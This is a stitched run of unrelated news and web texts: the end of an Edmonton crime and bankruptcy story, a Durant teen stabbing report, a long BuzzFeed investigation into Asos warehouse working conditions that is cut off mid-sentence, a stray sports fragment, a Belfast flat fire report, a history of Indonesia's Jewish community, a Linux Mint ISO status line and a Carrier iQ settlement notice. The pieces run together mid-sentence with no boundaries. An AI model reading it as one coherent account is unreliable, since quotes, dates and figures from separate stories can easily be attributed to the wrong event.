The protection order was granted until Nov. 26, but extended into January 2013. The order was revoked when neither Lam nor his wife appeared in court for a review on Jan. 18, 2013, the expiry date on the order.
Lam was charged with assault, sexual assault and seven counts of uttering death threats in November 2012 but the charges were stayed on Dec. 21, 2012.
Neufeld confirmed that some of the people targeted in those threats were slain in the north end home.
Statements in 2012 case recanted
In a statement, Michelle Doyle, acting assistant deputy minister of the Alberta Crown Prosecution Service, said the prosecutors concluded that there was no reasonable likelihood of conviction after the complainant and witnesses recanted or changed their original statements made to police.
"The Crown opposed Mr. Lam’s release from custody, and his release was denied by a Provincial Court Judge," Doyle said.
"The investigation into these allegations was conducted by members of the Edmonton Police Service. It was thorough and comprehensive. All available supports were offered and made available to the complainants in this matter."
Lam, who was 53 when he died, came to Canada from Vietnam in 1979. He met his wife, who was 18 years younger, on a trip to Vietnam in 2000. The couple married six months later and she came to Canada in 2003.
Documents reveal that Lam also had significant financial problems.
He filed for bankruptcy in February 2013 with $365,000 in secured debt and $116,296 in unsecured debt, mostly from more than a dozen credit cards.
Documents list gambling as the cause. Lam completed an intensive gambling recovery program in May 2014.DURANT, Okla. (KXII) -- A teenager was arrested Wednesday after police alleged she stabbed a family member in the face.
Durant Police found the teen hiding in a brown shed about a block and a half away from the home where the incident occurred.
"And they came and I guess they've been looking for her," says Mona Campbell.
Campbell was sitting in her car when she says she spotted a young girl walking barefoot down an alleyway in between Evergreen and Beech and went into the shed Campbell keeps signs for her business in.
"I began to worry because it can be really hot in there," says Campbell.
That's when Campbell called police.
"She fled out a back bedroom window so officers quickly set up a perimeter and started searching for her knowing she was on foot," says Durant Police spokesperson Lt. Chris Marcy.
"A plain clothed policeman came and stopped and he was looking around and they kind of opened the door and shut it and about the same time six or seven officers came and they were telling her to come out and they were yelling and I saw them walk her to the car," says Campbell.
The stabbing happened around 12:45 Wednesday at a home off tenth and Evergreen in Durant.
Police say they placed the 14 year old under arrest for stabbing her aunt in the face after a family dispute.
"I heard a small sword but I can't confirm that," says Lt. Marcy.
At this time no names have been released but police say the teen could face charges as an adult.
"We just don't see them every day, so when we do see them and it does involve a juvenile that makes it even more kind of out of the ordinary for us," says Lt. Marcy.
Police say the girl's aunt was taken to a local hospital with non-life-threatening injuries and is expected to survive.Joanne Goddard has lived in the South Yorkshire town of Barnsley her whole life. In April 2016 she took a job as an agency worker at online fashion retailer Asos’s vast global distribution centre, which sends millions of pounds' worth of clothes to customers around the world every week.
Courtesy of Joanne Goddard Joanne Goddard
She was on the first floor of Asos’s huge, grey warehouse when the panic consumed her.
Stressed that she was falling behind on her work targets, she found herself rushing down wrong aisles trying to pick items for customer orders. Soon the familiar pangs of anxiety, which she had last suffered with 18 months earlier, began to take hold.
She tried to calm herself, but at 10:30pm, half an hour before the end of her shift, it was too late. In a blur and overwhelmed, she managed to make it to the third floor – the busiest floor – to put away her hand scanner as night staff were piling in all around her, ready to fulfil customers’ next-day-delivery orders.
She found a team leader and explained she was having a bad panic attack. The next thing she remembers is being taken to first aid, and then driven home. A week later, her assignment was ended.
Chris Ratcliffe / Bloomberg / Getty Images Pallets laden with boxes sit in the "Goods Inwards" section of Asos's distribution warehouse in Barnsley, England, in April 2014.
In a three-month investigation, BuzzFeed News interviewed current and former Asos warehouse employees and obtained internal documents, text messages, and phone recordings that lay bare the highly pressurised conditions involved in getting online orders from the company’s central warehouse to customers across the world within 48 hours.
Agency workers and permanent staff say they are saddled with onerous targets to process high volumes of orders each hour, and some say this discourages them from stopping to drink water or use the toilet – and that managers have even recommended they don’t do so towards the end of shifts.
The investigation comes as Asos finds its working practices under increased public scrutiny. Last month Labour MP and party leadership contender Owen Smith criticised the company’s use of flexible working contracts, and the trade union GMB called for the House of Commons business select committee to launch an inquiry into the firm following complaints about working practices at the Grimethorpe warehouse and “invasive monitoring and surveillance” of staff.
Chris Ratcliffe / Bloomberg / Getty Images Workers unpack items from shipping crates at the Goods Inwards section inside Asos's distribution warehouse in Barnsley.
It also comes amid growing public concern over the use of flexible contracts following revelations about the treatment of workers by companies such as Sports Direct and Hermes, and protests by Deliveroo riders about pay structure.
BuzzFeed News can reveal that: Asos managers allegedly live-monitor the number of orders put through the hand scanners used by workers, who can be reprimanded if they fall behind. Staff say they are unable to take regular toilet breaks or water breaks for fear of missing targets, sometimes at the behest of managers. Agency staff say they are kept on contracts they believe are exploitative as they allow for them to have assignments ended without notice, to be sent home without pay, or to be told not to come in if management decides to cancel their shift at any time.
Staff on “annualised hours” contracts say their shifts can also be cancelled or extended at short notice under arrangements that allow Asos to “flex up” and “flex down”, and that additional hours have been effectively unpaid with workers being given time off rather than money for time worked. Workers have allegedly had their assignments ended after falling ill at work or taking time off to care for sick relatives. Staff allege that security on the site is intrusive and “embarrassing” and that they are sometimes made to remove their shoes for spot checks and searched upon entering the toilets. Pay is docked if an employee arrives at the warehouse even a single minute late. Workers claim 15 minutes' pay has been docked for just one minute’s lateness.
Global logistics giant XPO, which runs the distribution centre, disputes the allegations. It also says workers are paid for every minute worked and that it works to ensure a "best-in-class and safe working environment".
Chris Ratcliffe / Bloomberg / Getty Images Visitors pass the main entrance to Asos's distribution warehouse in Barnsley.
When Asos brought its supersized warehouse to Grimethorpe, just outside Barnsley, the former coal-mining town found itself the unlikely nexus of a rapidly growing global fashion empire.
Asos founder and former CEO Nick Robertson said in 2008 he wanted the company to be the “Amazon of fashion”, and the business has grown steadily since it was launched in 2000, riding the wave of the online fashion boom to grow from a little-known website to a fashion behemoth spanning 241 markets. Its success shows no sign of abating either. In the year leading up to 31 August 2015, it hit over £1.15 billion sales. Now the company is targeting £2.5 billion annual sales by 2020, and appetite for its signature brand of fast fashion shows no sign of waning. In the four months to June 2016 alone, Asos’s sales topped £514.6 million, a 30% increase from the same period the year before. Whether you are in San Francisco, Swansea, or Sydney, a hidden army of people like Joanne Goddard have helped gather the clothes, shoes, and jewellery to be sent around the globe and delivered to your door in two working days. XPO runs the warehouse on behalf of Asos and a company called Transline handles recruitment of agency staff.
To meet consumers’ insatiable demand for fast fashion, the Grimethorpe site operates 24/7; as day-shift workers leave, overnight staff flow in, ready to dispatch orders from 26 miles of walkways. At the entrance to Asos’s sprawling warehouse there is a giant Transline banner advertising jobs. Opposite is an advert for the union GMB, which paid £5,000 to position it on the roundabout encouraging Asos staff to sign up for membership.
Sara Spary / BuzzFeed News Sara Spary / BuzzFeed News A Transline recruitment banner and an advert for the union GMB
Goddard, like thousands of others from the area, was glad to take a job at Asos.
At first it was “easy money”, the 24-year-old told BuzzFeed News, speaking at her terrace house on a quiet cul-de-sac while caring for her two young daughters, who were excitedly playing with a small black-and-white terrier named Chunk. The shifts, 3pm to 11pm, were easy for her to fit around childcare, and it was just one bus journey to Asos’s stop, which services the huge inflow of workers from clusters of residential estates nearby, all dressed in red Asos-branded shirts.
Some of the managers would “bend over backwards for you”, she said, and it was a good place to make new friends. But for Goddard, the easy money soon became hard. Like other workers who spoke to BuzzFeed News, she said she found herself struggling to hit the hourly performance targets set at the warehouse. XPO told us it had devised these with the help of industry experts. For pickers like Goddard, this usually meant collecting 160 items an hour to be put together as orders by packers. The targets, she said, were “really hard” to hit, especially when taking into account the time needed for “adding toilet trips, going for water”. Plus, she added, the hand scanners (aka "handguns") that pickers and packers have attached to their wrists to tell them “where to go and what to pick” across several floors were “constantly breaking”.
Chris Ratcliffe / Bloomberg / Getty Images A worker uses a wrist-mounted device to scan an item of clothing ahead of shipping at Asos's distribution warehouse.
The scanning also enabled management to track the workers' speed. They would take a reading of how many items were being scanned every 15 minutes and make an average for the hour, Goddard said.
“Everything was good to start off with,” she said. But for those who fell behind, as she did, their name would be called over the Tannoy system. “You’d get called to floor three to find out why you haven't met your targets,” she explained.
“Week five I was really, really stressed due to my children being ill and stress from working at Asos," she said. "I still went to work and tried my best. “At the start of shift we had no handguns. They kept sending us to different places and there were no guns available. Finally at around 3:25pm they finally handed me a gun. Then that gun was constantly crashing so I had to keep restarting.” XPO, responding on behalf of Asos, told BuzzFeed News that all technical malfunctions were logged so that they did not affect workers’ targets.
But nevertheless, Goddard said that by the time she got a scanner, she was badly behind on her target. She worked as quickly as she could, she said. By break time, she “gave in” and slowed down in the hope she would be sent home.
“I could feel a panic attack coming on,” she said. “I tried to carry on, then it got to 10:30pm and I could tell it was going to be a bad panic attack. I somehow managed to put my gun away.”
The next day she returned “embarrassed” and “on edge”. She carried on working, failing to hit targets, and was called to the third floor. “Not a chance am I running about today after what happened yesterday,” she told the manager.
“I could feel a panic attack coming on... I could tell it was going to be a bad panic attack.”
Later that week she asked to be moved to a packing role, where "you just stay in the same place all day", and which she felt would be less overwhelming. Alternatively, she asked if she could avoid working on the top two floors where she feared her panic attack might again be triggered. Her request was supported by a note from her GP, seen by BuzzFeed News, which described her as a patient with a “genuine case of anxiety” who the doctor had seen on multiple occasions. He urged the company to make “reasonable adjustments” to her day to assist her, suggesting that she might be more suited to packing rather than picking. But instead, Goddard's Transline manager not only refused to move her to a different role or area, he also told her she could no longer do her original picking job as she was “not safe to do the role”.
XPO, responding on behalf of Asos and Transline, denied that an assignment would be ended on the basis of a panic attack. It said that if a colleague were unable to complete a certain role due to health issues, “a reassignment would be offered”.
However, in recordings obtained by BuzzFeed News, the Transline manager can be heard saying they are unable to make adjustments for Goddard and have instead decided to end her assignment following the panic attack.
“Your sick note says you need amended duties and we haven’t got amended duties,” he says. “You don’t feel safe in picking and that’s the role that you’ve got. So what I’ll have to look at doing, Joanne, is ending your assignment on this site.” The manager offers to contact another Transline office to see whether there are any other jobs in the area. He also says he will call her in future if another Asos job becomes available – a phone call that, Goddard said, has never come.
But Goddard, who cannot drive, explains she needs to be in reach of her two young children and that Asos is suitable because it is a 10-minute journey away. She then asks if she can go back on to picking to “see how I go”, but the manager repeats that he has nothing to offer her.
“If you do that you’re just going to have another panic attack, aren’t you?” he says.
“Well I could have them any time," Goddard is heard replying. "I’ve had two in the last four days panicking about this because you’re meant to have been ringing me and I don’t know if I’ve lost my job or what. I don’t know what to do.
“I don’t want to be out of my job, definitely not. Shall we just leave it that I’ll go back on pick?” But the manager informs her she is no longer needed, which Goddard says is unfair.
“What do you mean it’s not fair?” the manager replies. “It’s not fair us continuously keeping you employed if you’re not able to do the role and you’re not safe to do the role.
"It's not fair continuously turning up every day and picking because you're not going to be able to hit your performance [targets] – you're going to be unsure and you're going to cause yourself more harm by having more panic attacks."
The manager adds: "It's not the news you wanted to hear and if I'm being honest it's not the news I wanted to say to you. I wanted to say, 'Yes, I've got this available, let's get you back in tonight,' but I can't, I can't do that.
He concludes: “Unfortunately I can’t continue your employment here because you’re not fit for the role we can offer. I do apologise for that, Joanne.”
Listen to Joanne Goddard's conversation with Transline: Your browser does not support the audio tag. Supplied
Workers say they have been penalised for sickness or taking time off to care for loved ones Goddard is not the only worker who has accused Asos of abruptly ending an assignment following sickness.
BuzzFeed News has heard allegations from other former agency workers who said they found their contracts had been terminated following illness or time taken off to care for sick relatives.
Chris Ratcliffe / Bloomberg / Getty Images A worker scans an item of clothing as she prepares a customer's order ahead of shipping.
XPO said that while it could not comment on individual cases, it does on occasion terminate assignments when “the length of absence is excessive”, but said absence procedures are “clearly communicated” to all colleagues. It would not, however, clarify what was classed as “excessive” time off. One former agency worker, who worked for Transline before XPO took over management of the warehouse and who did not wish to be named, claimed they collapsed at work and were taken to hospital, only to return home to a letter informing them their contract had been terminated due to an absence of four days. Even when the worker returned with discharge papers, they claimed, the management refused to reinstate their job, they told BuzzFeed News. "There was a letter saying I’d had too much time off and that was it. I went in a few days later to see what the crack was and they just weren’t interested.”
Another former XPO employee, who was not sacked or disciplined, said they took a day off work to care for their sick mother, who had had emergency surgery. They claimed a team leader told them taking time off was “ridiculous” and questioned whether it was necessary.
“That was the day I started looking for another job," they said. "I couldn't look him in the eye ever again.” Workers interviewed by BuzzFeed News complained about inconsistent management style. “I wish I could name and shame the bad ones, I really do, and name and give credit to the good ones,” Goddard said during her interview.
“That was the day I started looking for another job... I couldn't look him in the eye ever again.”
Staff, some of whom have worked in the business for several years, said day-to-day experience could vary greatly depending on the managers – who themselves were under pressure to hit targets.
One worker said, “A lot of people are unhappy but they are scared to tell the truth.” Another claimed, “If you try and stick up for yourself then they’ll take it out on you.” XPO, however, said it had democratically elected internal colleague representatives who are available to hear these concerns and that agency workers could discuss them in confidence with Transline’s HR team.
“People are unhappy but they are scared to tell the truth.”
“Management treat people like slaves,” said one current worker. For example, they said, team leaders recommend that workers do not use the toilet or drink water in the last working hour “because the last hour is very important for performance. Even 30 seconds is very important for the company.” XPO denied this: “Our policy across the site is that people can take toilet and water breaks whenever they want. There are toilet and water facilities within four minutes of every workstation in the warehouse. These breaks are not counted as productive time and therefore do not affect targets.” The company said it had “anticipated unproductive time” built into its picking and packing targets and that it took into account “comfort breaks, as well as a built-in fatigue factor”. But workers told BuzzFeed News they found it challenging to fit in bathroom breaks. “If you cannot do the target, they come to you every hour and say you have to improve it or you will get a performance management meeting with HR,” one person claimed. Another alleged: “You are literally treated like a machine.” The comments are mirrored on jobs websites such as Indeed. Even some positive and neutral reviews refer to a “constantly high pace of work” and complain of “a lot of micromanagement” from team leaders.
“You are literally treated like a machine.”
One person, who gave the company a high rating of four stars out of five, said “job security was poor”. Another said “the most enjoyable part was going home”. According to Indeed, one star is the most frequently given rating for Asos warehouse jobs. Not everyone we spoke to said the targets were impossible. One current employee said they found the targets were generally “achievable”, but criticised the way they were set up to “basically prove” people were always working at all times. He said those who did struggle would “disappear” within a few months. XPO, however, insisted it had training in place to support workers in achieving targets, and that it would resort to disciplinary or dismissal action only in “extreme circumstances” where training and support had failed.
Supplied
Others also claimed shifts were regularly cancelled at short notice – sometimes, they alleged, when workers had already arrived on site and forked out for the bus fare, which would not be reimbursed. XPO told BuzzFeed News that workers who were already on site when a shift was cancelled had the opportunity to work it. BuzzFeed News has seen text messages sent to one agency worker by Transline that show the worker’s shifts were cancelled two days in a row. At 8:41am on the morning of another cancelled shift, the same worker received a further text, which read: “Please ignore the stand down message received yesterday. You ARE expected to work today.”
Employees say their flexible working patterns are good for Asos but not always for them Asos runs its business reactively. If sales have slowed, it will use email marketing and social media to lure its 12 million customers with tempting promotions and flash sales, which can deliver huge spikes in sales. Because these promotions are often launched at short notice, demand can be unpredictable. Asos relies on the flexibility of its workforce in order to meet these kinds of demands, and, as is common in the industry, agency and permanent employees are subject to short-notice changes to their working hours as a result. For permanent employees, XPO uses a demand-led rostering system known among warehouse staff as “flex”. Flex requires workers to be available to work (“flex up”) or stand down from a shift (“flex down”) at short notice every other week to help the company cope with fluctuations in sales volumes. The flex rota is scheduled in advance, and over the year employees are guaranteed to be paid for a set number of contracted hours each month, equivalent to 37.5 hours per week.
Chris Ratcliffe / Bloomberg / Getty Images A worker uses a handheld device to scan a box of Asos-brand shoes.
On flex weeks, employees can be flexed up to work an additional 10 hours, set at a maximum of two hours per day, or as part of the contract they can be flexed down if orders are low. They will still be paid the same annualised monthly salary regardless of the hours. But XPO employees who spoke to BuzzFeed News on the condition of anonymity said the complex system of adjustable working hours enforced by XPO is of far greater benefit to the company than it is to them. They claim they are “essentially” made to work additional hours in exchange for the possibility of extra holiday days, rather than additional pay. They also claimed to have experienced difficulties when trying to get flex-up hours back. “You’ve got to come in on your own back, and you’ve got to go home on their favour,” said one staff member. “They make it out to be a gift if you’re flexed down. It works only in one direction, not in the other one,” said another. A company document seen by BuzzFeed News appears to reveal the uncertainty workers face in taking off accrued time. It reads that Asos “aims to give these extra hours back throughout the year, however we just can’t guarantee when these days will be”. Permanent employees also alleged that the company abuses the flexible nature of both its temporary and permanent workforces, to prioritise the reduction of labour costs. During less busy periods, even when permanent staff have flex hours in the bank, it is more likely that temporary workers will be sent home without pay than permanent employees will be flexed down in order to balance their overtime hours, employees claimed. Meanwhile, they added, permanent employees will be made to “flex up” before the company will incur the cost of drafting in extra agency workers to meet an increase in demand. “We will just be standing around saying, ‘Why the hell have we been flexed up and those guys are going home?’” said one person. Current and former employees also told BuzzFeed News the company required them to flex up more often than it required them to flex down.
Chris Ratcliffe / Bloomberg / Getty Images A worker pushes a trolley of clothing through Asos's distribution warehouse.
One employee, who claimed to have accrued just under 30 flex-up hours in less than a year, said many of their colleagues had between 40 and 70 hours banked. GMB claimed it had spoken to one worker who was owed 100 hours. Deanne Ferguson, GMB’s regional organiser for the area, told BuzzFeed News that the union has concerns about this arrangement. While XPO said it gives employees a minimum of five hours’ notice for flexing up and 24 hours’ notice for flexing down or flexing up on a night shift, Ferguson said she had received reports that people were given only three hours’ notice that they would work longer, a claim XPO denied. “People have got lives – they don’t work for Asos for their life,” Ferguson said. “They go there to earn their money to have a life. That’s how it should be, but there’s no dignity or respect for the employee at all.” XPO said that workers were given as much notice as possible of flexing up and that the minimum of five hours notice had been used only three times in the last year. Labour MP Owen Smith recently called XPO’s flex system “one of the worse forms of zero-hours arrangements I’ve come across”, an allegation XPO strongly refuted. A spokesperson for Acas, an independent organisation specialising in employment disputes, told BuzzFeed News that flexible staffing arrangements like those used at Asos’s warehouse are increasingly popular for businesses led by customer demand, but that “employers need to find a way to balance this need against providing a good working environment for their staff”. XPO told BuzzFeed News: “In addition to paying above the minimum wage, XPO does not employ anyone in the warehouse on a zero-hours contract. It is a recognised practice across the logistics industry, given the fluctuation in demand, to employ colleagues on an annualised hours contract.” It said this ensures that “when work is not available” the week’s pay is not affected, because employees are still paid one-twelfth of their annual pay on a monthly basis, whether they have worked their contracted hours, more than their contracted hours, or less than their contracted hours. When an employee works more than 37.5 hours, XPO’s policy is to give these hours back either by flexing down the employee’s hours down in subsequent weeks, giving time off in lieu or allowing employees to use them as holiday.
The company told BuzzFeed News it reconciled all outstanding hours at the end of each financial year “to ensure there are no hours owed to colleagues or the business”. It would write off any hours owed to the business and pay any hours owed to staff at a “flat rate” at that time. XPO added it was also “moving to a quarterly schedule”.
Workers can be sacked for bringing watches or lipsticks into the warehouse Current and former workers told BuzzFeed News they feared being sacked for an array of “offences” – including bringing watches, lipstick, or other banned items into the warehouse.
The warehouse has strict disciplinary procedures in place. Staff are prohibited from having cosmetics, jewellery, watches, and electronic devices including mobile phones – as well as lighters, matches, and cigarettes, which are safety hazards – on them at any time during a shift. “There is a ZERO TOLERANCE policy in place for the above items entering the warehouse,” one staff notice seen by BuzzFeed News reads. “If you are found to be entering the warehouse with any of these items your assignment will be TERMINATED.”
Chris Ratcliffe / Bloomberg / Getty Images A worker uses a pallet truck to move boxes of clothes at the Goods Inwards section.
In addition, workers told us they had been docked 15 minutes' pay for clocking in one minute late, or even on the hour. This was despite there being sometimes long queues for workers to enter and exit the warehouse because of security checks as staff pass through the turnstiles, they claimed.
BuzzFeed News calculated that, based on 15 minutes being deducted on Asos’s standard hourly wage of £7.45 per hour, workers could be paid less than the minimum wage for that hour, at £5.59 for 59 minutes' work. One employee told us that around the time Sports Direct CEO Mike Ashley faced questions over pay-docking for lateness, Asos reduced the amount of pay it would dock for one minute’s lateness. BuzzFeed News has seen a pay slip that appears to show “0.25 hours” deducted for what the employee claims was one minute's lateness earlier this year. XPO confirmed it does apply deductions but said: “Our colleagues are paid for every minute they work.” The company declined to specify whether the policy had changed recently. Other gross-misconduct offences include criticising Asos on social media, but workers can also be fired for an accumulation of warnings for lesser offences – including failing to follow reasonable instructions and being absent from work without permission.
Typically, dismissal follows a verbal warning, a first written warning, and a final written warning, a handbook dated 2013 outlines, but agency workers said they could be dismissed with or without notice, following just a verbal warning. XPO told BuzzFeed News “all new colleagues are managed to the same policies as colleagues who have a longer period of service” but declined to specify whether it had updated its policy, or to share a copy of it.
Chris Ratcliffe / Bloomberg / Getty Images A worker restocks a clothing rack.
The company's spokesperson did, however, insist its workers receive its disciplinary and misconduct policy and “so are clear on the behaviours required on site to create a great place to work for all”.
Workers described how there were delays on exit from the warehouse after they clocked out of a shift. XPO confirmed to BuzzFeed News it could take “several” minutes for a worker to exit the site and that it was investing in reducing this time. Workers said this was a problem because they weren't paid for all the time on site and they were penalised for lateness. XPO declined to confirm the details of its pay deduction policy, but said: “Minute deductions are in place for lateness and this has been communicated to all colleagues. Whatever the circumstances, we pay above the national minimum wage for all colleagues.”
Staff say they are treated like thieves and subjected to invasive random security checks
Asos’s warehouse has a historical issue with theft, some employees claimed, and as a result uses extensive CCTV to monitor staff. Staff are also subject to random searches by security personnel during shifts, when visiting bathrooms, and on entering and exiting the building. Searches on the way in and out of the warehouse can involve airport-style body scanners. The most expensive items in the warehouse are guarded by security on site and can be handled only by staff with a Criminal Records Bureau certificate. XPO told us that it reserves the right to search staff with “just cause” and that this term is included in employees' contracts, as is common in the logistics industry. But while employees we spoke to did admit they agreed that disaffected workers had stolen from the company in the past, they felt like a culture of suspicion had been created by over-extensive security measures. “We are all being treated like thieves, from the start and all the time,” one employee told us. “Higher management and HR seem to say, ‘We’ve got 4,000 employees so probably we’ve got 4,000 thieves.’”
Random security checks on site are mandatory for all staff and extend to both cars and personal lockers. Searches on the way in and out of the building are conducted in staff members’ own time – before and after they clock in and out.
“Higher management and HR seem to say, ‘We’ve got 4,000 employees so probably we’ve got 4,000 thieves.’”
The GMB union told us it had represented one member who was suspended for being obstructive after she refused to let security guards search her car until she had finished eating her lunch. XPO confirmed to BuzzFeed News it had subsequently apologised to the employee and she was able to return to work with no further disciplinary action.
During random spot-check searches inside the warehouse, staff can be asked to remove their shoes. One employee who has worked for the company for around two years told us these searches are “embarrassing”. “They walk over and tell you, ‘This is a random search,’ but it feels like they just have their eye on you,” he said. A spokesperson for XPO confirmed it does carry out security checks: “We do randomly search a very small percentage of our colleagues and an even smaller percentage of colleagues are asked to remove their boots.” But they added: “We do not discriminate, but we must ensure we mitigate risk where possible.” Internal documents also show that workers are subjected to Breathalyser tests after any injuries or health and safety incidents, big or small – in one instance for a cut finger, one former worker claimed. They can also be subjected to both alcohol and drugs testing at random.
Those who work at the warehouse want things to change After the Grimethorpe Pit closed in 1993, as the British coal-mining industry entered its final death throes, the area was plunged into deep unemployment, and more than 50% of the town’s population were without a job for the rest of the decade. The European Union’s 1994 study of deprivation declared Grimethorpe the poorest place in the UK.
A supercharged injection of jobs with a rapidly growing business should have been a godsend for the many people who went to work for Asos. But for many the working environment and lack of job security for agency workers has been a huge disappointment. “I don’t know anybody who hasn’t worked there themselves or had a brother, cousin, partner, or son working there who has come out with a positive impression," one former agency worker told us. "It’s always been the same.” But in a statement to BuzzFeed News, XPO, which runs the Grimethorpe site on behalf of Asos, defended the working practices there. XPO supply-chain account director Ken Perritt said the company “works directly with our colleagues to ensure a best-in-class and safe working environment” and has an independently elected colleague forum “for this purpose”. He added: “It is a recognised practice across the logistics industry, given the fluctuations in demand, to employ colleagues on an annualised hours contract. “We believe that the best way to continually improve the working environment is to collaborate directly |
) in an all-French semi-final showdown.
Desmond KaneFirefighters attempt to put out a fire at Dunmurry tower block in Belfast
ONE person was rescued from a high-rise block of flats on the outskirts of Belfast after a huge fire broke out.
The Sun reports pictures showed smoke pouring from the 15 storey building in Seymour Hill, Dunmurry, with at least four treated by paramedics at the scene.
Firefighters were called to Coolmoyne House at about 5.30pm Wednesday local time, (4.30am AEDT) and discovered a “well-developed fire” on the ninth floor.
Hundreds of residents were evacuated from the block and the fire was “under control” by 6.10pm.
The blaze is believed to have spread to the tenth floor — with smoke entering multiple levels.
Fire crews were pictured at the scene using a teleporter to battle the blaze, which the Belfast Telegraph reports is believed to have been started by a toaster.
One person was taken to hospital with “minor injuries”, as residents told the BBC they felt “lucky to be alive”.
Dunmurry resident Sam Waide said: “It was sort of frightening. “After what happened in England, you think to yourself, is this another one?”
Many more residents said the tragic scenes seen at Grenfell Tower in June were in their minds.
At least 80 people died in the blaze.
Residents association member Julie Ann Jackson said the fire started in the flat of a man in his 50s, who raised the alarm.
She told the Belfast Telegraph: “I think they were shook up from Grenfell, and after tonight they are really shook up.”
The hundreds of evacuated residents were reportedly being held in a community hall while the emergency services worked.
A Northern Ireland Ambulance Service spokesperson told the Mirror: ‘We received a call at 5.40pm from the Northern Ireland Fire Services to reports of a fire on the ninth floor of Coolmoyne House.
“Four Accident and Emergency crews, five rapid response paramedics, seven ambulance officers, one doctor and two heart paramedics attended the scene.
“Four people were led to safety by the Northern Ireland Fire Service and handed over to the Ambulance Service for assessment.
“One person has been taken to hospital with minor injuries and the three others are still being assessed at the scene.”
This article first appeared in The Sun and is republished here with permission.The Jewish Community of Indonesia
Dr. Ayala Klemperer-Markman
(English Translation by Julie Ann Levy)
Indonesia, the world’s largest Muslim country, recognizes officially six religions: Islam, Protestant Christianity, Catholic Christianity, Hinduism, Buddhism and Confucianism. Judaism is not one of the principal religions in this island-country, although Jews were present there constantly during the last four hundred years, at least. However, notwithstanding the long history of Jewish presence in the archipelago, after World War II most of the Jews left Indonesia and today they number only about twenty persons.
The first Jews arrived in Indonesia in the 17th century, as part of the clerks and traders operating the large commercial company “Dutch East Indian Company” (VOC). The company, which focused its activity in Asia in the Indonesian archipelago, initiated wars, constructed fortresses and signed agreements throughout Asia, was liquidated in 1800; all its assets, which included most of the area of the island of Java and part of the other islands, were taken over by the Dutch and became a colony named the Dutch East Indies.
The first written report on Jews in Indonesia, familiar to us today, was written by Jacob Halevy Saphir (1822–1886), who was sent as a rabbinical emissary from Jerusalem and arrived in the archipelago in 1861. In his book, Saphir reports the existence of approximately twenty “Ashkenazi” Jewish families from Holland in Batavia (today Jakarta), in Surabaya and in Semarang, but expresses his concern for their future since they do not conduct Jewish traditions and many are married to non-Jewish women. Saphir also argues that, at his request, the Amsterdam community sent a rabbi to the archipelago, who attempted to organize community life in Batavia and in Semarang, but the rabbi died before consummating his work #1. A group of Jews from Iraq (mainly from Bagdad and from Basra) and from Aden also settled in the islands, but it appears that from a religious standpoint this wave of immigration did not make a significant impact.
In 1921 another emissary, a Zionist, Israel Cohen, arrived in Java from Eretz Israel. Cohen estimated the number of Jews in Java at that time at approximately two thousand; his reports also argue that the Jews did not conduct community life and many were intermarried. However, perhaps as a result of Cohen’s efforts, Zionist activity commenced and from 1926 to1939 a Zionist newspaper, “Erets Israel” was published in the city of Padang #2.
During the 1930s and early 1940s the Jewish community continued to expand, mainly as a result of arrival of refugees from Nazi Europe, who settled in various districts of the Dutch colony. On the eve of the Japanese occupation (early 1942) the Dutch colony had approximately 3,000 Jewish residents, most of whom were Dutch citizens or citizens of other European countries; some were “Baghdadi Jews”.
Shortly after consummation of the Japanese occupation (March 1942), most of the European citizens in Indonesia were sent to internment camps – first military personnel, followed by young men (aged 17-60), and finally most of the European population. At this stage, the Japanese considered the Ashkenazi Jewish population as Europeans for all purpose and the negative relationship was similar to that suffered by the other Europeans. Accordingly, the Bagdadi Jews of Middle Eastern origin and Jews who were citizens of European countries allied with Japan, were not imprisoned.
However, in August 1943 the Bagdadi Jews were also imprisoned, together with German and Italian Jews. Kowner argues that the change in the relationship was derived from several elements, including heavy German pressure on the Japanese government to impair the Jewish population, anti-Semitic tendencies among the local population and anti-Semitic tendencies among certain Japanese groups that served as part of the occupying forces in Indonesia. Nevertheless, it should be noted that, as opposed to events in Germany, this change did not constitute part of Japanese ideology or planned policy #3.
At the end of the war, many Jews also suffered from attacks by local youth, who acted violently in favor of Indonesian independence. In light of these events, most Jews left Indonesia during the 1940s and 1950s, and emigrated to various European countries, to the United States and to Australia; few emigrated to Israel.
Presently, Indonesia’s Jewish population is estimated to be approximately twenty persons only, most in the capital city of Jakarta and in the commercial city of Surabaya.
Several dozens of Indonesian émigrés reside today (2010) in Israel, and most are organized in the “Tempo Dulu” foundation, which was established by Ms. Suzy Lehrer in the mid-1990s.
#1 Jacob Halevy Saphir, Even Sapir, Part B, 1866. [back]
#2 Jeffrey Hadler, “Translations of Antisemitism: Jews, the Chinese, and Violence in Colonial and Post-Colonial Indonesia”, Indonesia & the Malay World, 32:94 (November 2004):291-313. [back]
#3 Rotem Kowner, “The Japanese Involvement of Jews in Wartime Indonesia and its Causes”, Indonesia and the Malay World, 38:112 (November 2010):349-371.
Dr. Ayala Klemperer-Markman teaches Japanese history at Tel-Aviv University. Her research on the Jews of Indonesia was carried out as part of her post-doctoral work in the department of Asian Studies, University of Haifa, Israel.ISO files Maintainer ISO Status 2 Months ago
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clem linuxmint-18-Cinnamon-amd64-201605261228 RejectedUPDATE: Distribution of payments to eligible claimants completed mailing on September 27, 2018.
If you purchased, owned, or were an Authorized User of a mobile device made by HTC, Huawei, LG, Motorola, Pantech, or Samsung, with service on AT&T, Cricket, Sprint, or T-Mobile, that was equipped with Carrier iQ software at the time of sale, you could get a payment* from a class action settlement.
A proposed settlement has been reached in a class action lawsuit concerning Carrier iQ software. The settlement affects all persons in the United States who, during the period between December 1, 2007 and March 1, 2016, purchased, owned, or were an Authorized User of, certain mobile devices. It provides for a $9 million fund that will cover payments, on the conditions set forth in the Amended Stipulation of Settlement and Release, to Settlement Class Members (as defined in the Notice). To request money from the settlement, you must file a valid and timely claim.
Important Dates
Objection Deadline: June 4, 2016
Opt-Out Deadline: June 4, 2016
Claim Filing Deadline: June 4, 2016
Final Approval Hearing: July 28, 2016 at 1:30 p.m.
